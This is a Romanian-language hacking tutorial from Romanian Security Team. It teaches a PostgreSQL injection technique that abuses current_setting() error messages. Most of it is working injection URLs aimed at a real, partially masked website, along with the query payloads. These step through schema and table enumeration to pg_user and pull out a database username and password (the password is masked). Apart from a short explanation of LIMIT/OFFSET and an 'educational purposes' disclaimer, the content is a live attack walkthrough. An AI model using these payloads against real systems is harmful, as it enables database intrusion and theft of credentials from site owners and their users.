PostgreSQLi

8

Click here to load reader

description

PostgreSQLi

Transcript of PostgreSQLi

Page 1: PostgreSQLi

Scris de Reckon -- Romanian Security Team

Introducere

În prezent cele mai folosite(două metode) pentru a realiza o injecție PostgreSQL sunt: Union Based Și Error Based. In continuare, aș dori să vă prezint o nouă metodă care se bazeaza pe funcția current_setting() și pe o vulnerabilitate de tip Path Disclosure.

Foarte important:

Acest tip de injecţie este funcțional doar pe baza unei erori de tip Path Disclosure obtinuta cu ajutorul parametrului vulnerabil.

Partea Practică

Se va incepe prin extragerea versiunii serverului PostgreSQL, dupa cum am menționat mai sus vom folosi o nouă metodă de injecție diferită de Union Based & Error Based:

http://www.**********.com/sok/res.php?brukernavn=&nasjonalitet[]=1',(select 1 order by(current_setting((select version())))),'&kjonn=M&minAlder=1 6&maksAlder=100&doUpdateAr ea=&bosted_land=0&bos ted_fylke=0

-----------------------------------------------------------------------------------------------------------------------------------------------------------

Funcția current_setting() este echivalentă cu funcția SHOW din MySQL.

Query-ul pentru extragerea versiunii este următorul:

(select 1 order by(current_setting((select version()))))

Următorul pas, extragerea primei baze de date din serverul PostgreSQL care deține mai mult de 1 tabel.

Page 2: PostgreSQLi

http://www.**********.com/sok/res.php?brukernavn=&nasjonalitet[]=1',(select 1 order by(current_setting((select distinct table_schema from information_schema.tables limit 1 offset 0)))),'&kjonn=M&minAlder=1 6&maksAlder=100&doUpdateAr ea=&bosted_land=0&bos ted_fylke=0

-----------------------------------------------------------------------------------------------------------------------------------------------------------

Query-ul este următorul:

(select 1 order by(current_setting((select distinct table_schema from information_schema.tables limit 1 offset 0 ))))

De ce am colorat “limit 1” si “offset 0” cu alta culoare?

In MySQL funcția “limit” este folosită pentru extrage un anumit număr de rânduri.

Exemplu(In tabelul CHARACTER_SETS din baza de date information_schema exista in total 36 rânduri):

Page 3: PostgreSQLi

Dar, dacă vom folosi in query-ul nostru funcția LIMIT alaturi de o valoare (1), rezultatul va fi următorul:

Ce se intampla dacă vom combina intr-un query limit cu offset?

Dupa cum am mentionat mai sus, funcția limit ne ajuta Să extragem un anumit număr de rânduri, in cazul de sus am extras primul rând din tabelul CHARACTER_SETS.

Să vedem ce se intampla dacă am executa Următorul query:

select * from character_sets limit 1 offset 0:

Page 4: PostgreSQLi

Să facem o mică modificare la query:

select * from character_sets limit 1 offset 1:

Și inca o modificare, de dragul exemplului:

select * from character_sets limit 1 offset 2:

In cele trei query-uri de mai sus limita de rânduri este la fel (1) insă offset este schimbat la fiecare. Pe scurt, offset este funcția care, alaturi de limit, selecteaza o valoare din cele 36 de rânduri dupa care returneaza valoarea respectiva, pe un singur rând sau mai multe, in acest caz valoarea fiind returnată pe un singur rând (limit 1).

Acum, odata terminată “explicația” funcțiilor limit și offset, vom continua cu extragerea bazelor de date din serverul MySQL care dețin mai mult de un tabel.

http://www.**********.com/sok/res.php?brukernavn=&nasjonalitet[]=1', (select 1 order by(current_setting((select distinct table_schema from information_schema.tables limit 1 offset 1)))),'&kjonn=M&minAlder=1 6&maksAlder=100&doUpdateAr ea=&bosted_land=0&bos ted_fylke=0

----------------------------------------------------------------------------------------------------------------------------------------------------------

(select 1 order by(current_setting((select distinct table_schema from information_schema.tables limit 1 offset 1 ))))

Am extras cu succes a doua baza de date din serverul PostgreSQL care deține mai mult de un tabel.

Page 5: PostgreSQLi

Continuăm cu extragerea tabelelor din baza de date “pg_catalog”:

http://www.**********.com/sok/res.php?brukernavn=&nasjonalitet[]=1', (select 1 order by(current_setting((select table_name from information_schema.tables where table_schema = 'pg_catalog' limit 1 offset 0)))),'&kjonn=M&minAlder=1 6&maksAlder=100&doUpdateAr ea=&bosted_land=0&bos ted_fylke=0

-----------------------------------------------------------------------------------------------------------------------------------------------------------

(select 1 order by(current_setting((select table_name from information_schema.tables where table_schema = 'pg_catalog' limit 1 offset 0))))

-------------------------------------------------------------------------̂ -------------------------------------------------------------------------

Am extras cu succes primul tabel din baza de date “pg_catalog” si continuăm cu extragerea celui de-al doilea tabel:

http://www.**********.com/sok/res.php?brukernavn=&nasjonalitet[]=1', (select 1 order by(current_setting((select table_name from information_schema.tables where table_schema = 'pg_catalog' limit 1 offset 1))),'&kjonn=M&minAlder=1 6&maksAlder=100&doUpdateAr ea=&bosted_land=0&bos ted_fylke=0

-----------------------------------------------------------------------------------------------------------------------------------------------------------

(select 1 order by(current_setting((select table_name from information_schema.tables where table_schema = 'pg_catalog' limit 1 offset 1))))

-------------------------------------------------------------------------̂ -------------------------------------------------------------------------

Se va trece la schimbarea valorii offset-ului până ajungem la tabelul care ne interesează, mai exact: pg_user:

http://www.**********.com/sok/res.php?brukernavn=&nasjonalitet[]=1', (select 1 order by(current_setting((select table_name from information_schema.tables where table_schema = 'pg_catalog' limit 1 offset 7)))),'&kjonn=M&minAlder=1 6&maksAlder=100&doUpdateAr ea=&bosted_land=0&bos ted_fylke=0

Page 6: PostgreSQLi

In pasul urmator vom extrage coloanele din tabelul pg_user :

http://www.**********.com/sok/res.php?brukernavn=&nasjonalitet[]=1', (select 1 order by(current_setting((select column_name from information_schema.columns where table_name = 'pg_user' limit 1 offset 0)))),'&kjonn=M&minAlder=1 6&maksAlder=100&doUpdateAr ea=&bosted_land=0&bos ted_fylke=0

-----------------------------------------------------------------------------------------------------------------------------------------------------------

(select 1 order by(current_setting((select column_name from information_schema.columns where table_name = 'pg_user' limit 1 offset 0))))

Am extras cu succes prima coloana din tabelul pg_user care este: usename

Continuăm cu extragerea coloanelor, dar vom sări peste coloanele care sunt nesemnificative si vom extrage ultima coloana: passwd

http://www.**********.com/sok/res.php?brukernavn=&nasjonalitet[]=1', (select 1 order by(current_setting((select column_name from information_schema.columns where table_name = 'pg_user' limit 1 offset 5)))),'&kjonn=M&minAlder=1 6&maksAlder=100&doUpdateAr ea=&bosted_land=0&bos ted_fylke=0

-----------------------------------------------------------------------------------------------------------------------------------------------------------

(select 1 order by(current_setting((select column_name from information_schema.columns where table_name = 'pg_user' limit 1 offset 5))))

-------------------------------------------------------------------------̂ -------------------------------------------------------------------------

Am extras cu succes baza de date (pg_catalog), cel mai important tabel din această baza (pg_user) urmate de cele mai importante coloane ale acestui tabel (usename si passwd).

Pasul final

Extragerea datelor din coloanele usename si passwd:

Page 7: PostgreSQLi

http://www.**********.com/sok/res.php?brukernavn=&nasjonalitet[]=1', (select 1 order by(current_setting((SELECT usename FROM pg_user limit 1 offset 0)))),'&kjonn=M&minAlder=1 6&maksAlder=100&doUpdateAr ea=&bosted_land=0&bos ted_fylke=0

-----------------------------------------------------------------------------------------------------------------------------------------------------------

(select 1 order by(current_setting((SELECT usename FROM pg_user limit 1 offset 0))))

-------------------------------------------------------------------------̂ -------------------------------------------------------------------------

Am extras cu succes primul user din tabelul pg_user. Pentru pasul final va trebui să extragem parola acestui user:

http://www.**********.com/sok/res.php?brukernavn=&nasjonalitet[]=1', (select 1 order by(current_setting((SELECT passwd FROM pg_user where usename = 'joachim')))),'&kjonn=M&minAlder=1 6&maksAlder=100&doUpdateAr ea=&bosted_land=0&bos ted_fylke=0

-----------------------------------------------------------------------------------------------------------------------------------------------------------

(select 1 order by(current_setting((SELECT passwd FROM pg_user where usename = 'joachim'))))

-------------------------------------------------------------------------^-------------------------------------------------------------------------

Injecţia a fost finalizată cu succes, datele obtinuţe sunt:

pg_catalog (Baza de date)

pg_user (Tabelul important din baza de date pg_catalog)

usename si passwd (Coloanele importante din tabelul pg_user)

joachim si ******** (Datele din coloanele usename & passwd)

Page 8: PostgreSQLi

-----------------------------------------------------------------------------------------------------------------------------------------------------------

Acest tutorial a fost creat doar pentru scopuri educationale.

Mulţumesc pentru timpul acordat citirii acestui tutorial.

Reckon – Romanian Security Team (RST)